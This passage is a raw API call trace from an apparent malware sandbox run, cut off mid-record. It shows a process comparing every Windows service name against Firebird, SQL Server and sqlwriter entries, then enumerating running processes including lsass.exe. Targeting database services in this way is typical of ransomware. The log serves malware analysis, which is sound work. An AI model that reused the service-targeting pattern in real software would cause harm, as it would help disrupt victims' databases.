lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0058.349] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0058.349] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0058.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0058.349] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0058.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.349] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0058.349] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0058.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0058.349] lstrlenW (lpString="Audiosrv") returned 8 [0058.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0058.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0058.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0058.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0058.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0058.349] lstrlenW (lpString="BFE") returned 3 [0058.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0058.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0058.349] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0058.349] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0058.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0058.349] lstrlenW (lpString="BITS") returned 4 [0058.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0058.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0058.350] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0058.350] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0058.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0058.350] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0058.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0058.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0058.350] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0058.350] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0058.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0058.350] lstrlenW (lpString="CDPSvc") returned 6 [0058.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0058.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0058.350] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0058.350] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0058.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0058.350] lstrlenW (lpString="ClickToRunSvc") returned 13 [0058.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0058.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0058.350] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0058.350] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0058.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0058.350] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0058.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0058.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0058.350] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0058.350] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0058.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0058.350] lstrlenW (lpString="CryptSvc") returned 8 [0058.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0058.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0058.350] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0058.350] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0058.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0058.350] lstrlenW (lpString="DcomLaunch") returned 10 [0058.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.351] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0058.351] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0058.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0058.351] lstrlenW (lpString="DeviceAssociationService") returned 24 [0058.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0058.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0058.351] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0058.351] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0058.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0058.351] lstrlenW (lpString="Dhcp") returned 4 [0058.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0058.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0058.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0058.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0058.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0058.351] lstrlenW (lpString="Dnscache") returned 8 [0058.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0058.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0058.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0058.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0058.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0058.351] lstrlenW (lpString="DoSvc") returned 5 [0058.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0058.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0058.351] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0058.351] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0058.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0058.351] lstrlenW (lpString="DPS") returned 3 [0058.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0058.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0058.351] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0058.351] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0058.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0058.351] lstrlenW (lpString="DusmSvc") returned 7 [0058.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0058.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0058.352] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0058.352] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0058.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0058.352] lstrlenW (lpString="EventLog") returned 8 [0058.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0058.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0058.352] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0058.352] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0058.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0058.352] lstrlenW (lpString="EventSystem") returned 11 [0058.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0058.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0058.352] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0058.352] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0058.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0058.352] lstrlenW (lpString="FontCache") returned 9 [0058.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0058.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0058.352] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0058.352] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0058.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0058.352] lstrlenW (lpString="gpsvc") returned 5 [0058.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0058.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0058.352] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0058.352] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0058.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0058.352] lstrlenW (lpString="iphlpsvc") returned 8 [0058.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.352] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0058.352] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0058.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0058.353] lstrlenW (lpString="KeyIso") returned 6 [0058.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0058.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0058.353] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0058.353] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0058.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0058.353] lstrlenW (lpString="LanmanServer") returned 12 [0058.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0058.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0058.353] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0058.353] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0058.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0058.353] lstrlenW (lpString="LanmanWorkstation") returned 17 [0058.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.353] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0058.353] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0058.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0058.353] lstrlenW (lpString="lfsvc") returned 5 [0058.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0058.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0058.353] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0058.353] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0058.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0058.353] lstrlenW (lpString="lmhosts") returned 7 [0058.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0058.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0058.353] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0058.353] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0058.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0058.353] lstrlenW (lpString="LSM") returned 3 [0058.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0058.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0058.353] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0058.354] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0058.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0058.354] lstrlenW (lpString="MpsSvc") returned 6 [0058.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0058.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0058.354] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0058.354] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0058.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0058.384] lstrlenW (lpString="NcbService") returned 10 [0058.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0058.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0058.384] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0058.384] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0058.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0058.384] lstrlenW (lpString="netprofm") returned 8 [0058.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0058.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0058.384] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0058.384] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0058.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0058.384] lstrlenW (lpString="NlaSvc") returned 6 [0058.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0058.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0058.384] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0058.384] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0058.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0058.384] lstrlenW (lpString="nsi") returned 3 [0058.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0058.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0058.384] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0058.384] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0058.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0058.385] lstrlenW (lpString="PcaSvc") returned 6 [0058.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0058.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0058.385] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0058.385] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0058.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0058.385] lstrlenW (lpString="PlugPlay") returned 8 [0058.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0058.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0058.385] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0058.385] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0058.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0058.385] lstrlenW (lpString="Power") returned 5 [0058.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0058.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0058.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0058.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0058.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0058.385] lstrlenW (lpString="ProfSvc") returned 7 [0058.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0058.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0058.385] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0058.385] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0058.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0058.385] lstrlenW (lpString="RpcEptMapper") returned 12 [0058.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.385] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0058.386] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0058.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0058.386] lstrlenW (lpString="RpcSs") returned 5 [0058.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0058.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0058.386] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0058.386] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0058.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0058.386] lstrlenW (lpString="SamSs") returned 5 [0058.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0058.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0058.386] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0058.386] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0058.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0058.386] lstrlenW (lpString="Schedule") returned 8 [0058.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0058.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0058.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0058.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0058.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0058.386] lstrlenW (lpString="SecurityHealthService") returned 21 [0058.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0058.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0058.386] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0058.386] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0058.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0058.386] lstrlenW (lpString="SENS") returned 4 [0058.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0058.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0058.386] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0058.386] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0058.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0058.386] lstrlenW (lpString="ShellHWDetection") returned 16 [0058.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.387] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0058.387] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0058.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0058.387] lstrlenW (lpString="Spooler") returned 7 [0058.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0058.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0058.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0058.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0058.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0058.387] lstrlenW (lpString="SSDPSRV") returned 7 [0058.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0058.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0058.387] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0058.387] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0058.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0058.387] lstrlenW (lpString="StateRepository") returned 15 [0058.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0058.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0058.387] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0058.387] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0058.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0058.387] lstrlenW (lpString="SysMain") returned 7 [0058.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0058.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0058.387] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0058.387] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0058.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0058.387] lstrlenW (lpString="SystemEventsBroker") returned 18 [0058.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0058.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0058.387] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0058.387] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0058.387] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6f6108 | out: hHeap=0x690000) returned 1 [0058.387] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0058.391] Process32FirstW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0058.394] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0058.395] lstrlenW (lpString="System") returned 6 [0058.395] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0058.396] lstrlenW (lpString="smss.exe") returned 8 [0058.396] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.396] lstrlenW (lpString="csrss.exe") returned 9 [0058.396] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0058.397] lstrlenW (lpString="wininit.exe") returned 11 [0058.397] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.398] lstrlenW (lpString="csrss.exe") returned 9 [0058.398] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0058.398] lstrlenW (lpString="winlogon.exe") returned 12 [0058.398] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0058.399] lstrlenW (lpString="services.exe") returned 12 [0058.399] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0058.400] lstrlenW (lpString="lsass.exe") returned 9 [0058.400] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: 